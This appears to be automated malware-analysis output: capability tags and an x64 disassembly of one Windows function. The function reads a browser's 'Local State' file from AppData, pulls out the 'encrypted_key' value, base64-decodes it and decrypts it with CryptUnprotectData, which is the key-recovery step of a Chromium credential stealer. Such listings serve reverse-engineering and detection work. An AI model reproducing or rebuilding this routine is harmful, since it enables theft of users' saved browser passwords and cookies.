Function at 0x140002430
Capabilities:
Decode data using base64 via winapi
Encrypt data using dpapi
Get common file path
Get file size
Read file on windows

Disassembly:
push rbp
push rdi
push r13
sub rsp, 0x1a0
xor r9d, r9d
mov qword [rsp + 0x20], rcx
mov rdi, r8
mov r13, rdx
mov rbp, rcx
xor r8d, r8d
xor ecx, ecx
lea edx, [r9 + 0x1c]
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jns 0x14000246e
xor eax, eax
add rsp, 0x1a0
pop r13
pop rdi
pop rbp
ret
mov qword [rsp + 0x1c0], rbx
mov rbx, 0xffffffffffffffff
mov rcx, rbx
mov qword [rsp + 0x1c8], rsi
nop dword [rax + rax]
inc rcx
cmp byte [rdi + rcx], 0
jne 0x140002490
mov qword [rsp + 0x1d0], r12
add rcx, 0xd
mov qword [rsp + 0x190], r15
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov r8, rdi
lea rdx, str._sLocal_State
mov rcx, rax
mov rsi, rax
call fcn.140002960
mov r8, rsi
lea rcx, [rsp + 0x80]
mov rdx, rbp
call qword [sym.imp.SHLWAPI.dll_PathCombineA]
test rax, rax
je 0x140002736
xor r12d, r12d
lea rcx, [rsp + 0x80]
mov qword [rsp + 0x30], r12
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rcx, rax
xor edx, edx
mov r15, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
cmp eax, 0xffffffff
je 0x140002736
lea ecx, [rax + 1]
mov qword [rsp + 0x198], r14
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
lea r9, [rsp + 0x40]
mov dword [rsp + 0x40], r12d
mov r8d, edi
mov qword [rsp + 0x20], r12
mov rdx, rax
mov rcx, r15
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140002591
lea rdx, str._encrypted_key_
mov rcx, rbp
call sub.VCRUNTIME140.dll_strstr
mov r14, rax
mov eax, r12d
lea rcx, [r14 + 0x11]
nop dword [rax]
cmp byte [rcx], 0x7d
je 0x1400025d7
inc eax
inc rcx
cmp eax, 0x1f4
jb 0x140002580
mov rcx, rsi
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov rcx, rbp
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
xor eax, eax
mov r14, qword [rsp + 0x198]
mov r12, qword [rsp + 0x1d0]
mov r15, qword [rsp + 0x190]
mov rbx, qword [rsp + 0x1c0]
mov rsi, qword [rsp + 0x1c8]
add rsp, 0x1a0
pop r13
pop rdi
pop rbp
ret
lea r12d, [rax - 1]
test r12d, r12d
je 0x140002591
movsx ecx, byte [r14 + 0x11]
sub ecx, r12d
inc ecx
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov r8d, r12d
lea rdx, [r14 + 0x11]
mov rcx, rax
mov rdi, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strncpy
cmp byte [rdi + rbx + 1], 0
lea rbx, [rbx + 1]
jne 0x140002601
xor r14d, r14d
mov byte [rbx + rdi], 0
mov qword [rsp + 0x30], r14
lea rax, [rsp + 0x1d8]
mov qword [rsp + 0x28], r14
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x1d8], r14d
lea r8d, [r14 + 1]
mov qword [rsp + 0x20], rax
mov rcx, rdi
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov ecx, dword [rsp + 0x1d8]
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov rbx, rax
mov qword [rsp + 0x30], r14
lea rax, [rsp + 0x1d8]
mov qword [rsp + 0x28], r14
mov r9, rbx
mov qword [rsp + 0x20], rax
xor edx, edx
lea r8d, [r14 + 1]
mov rcx, rdi
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
xor eax, eax
lea r8, [rsp + 0x48]
mov dword [rbx], eax
xor r9d, r9d
mov byte [rbx + 4], al
xor edx, edx
mov ecx, dword [rsp + 0x1d8]
lea rax, [rbx + 5]
add ecx, 0xfffffffb
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x68]
mov dword [rsp + 0x58], ecx
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x58]
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
mov dword [rsp + 0x48], r14d
mov qword [rsp + 0x50], r14
call sub.CRYPT32.dll_CryptUnprotectData
mov rcx, rbx
test eax, eax
jne 0x1400026fe
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov rcx, rsi
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov rcx, rbp
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov rcx, rdi
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400025a1
mov eax, dword [rsp + 0x68]
mov dword [r13], eax
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov rcx, rsi
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov rcx, rbp
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov rcx, rdi
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rsp + 0x70]
jmp 0x1400025a3
mov rcx, rsi
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
xor eax, eax
jmp 0x1400025ab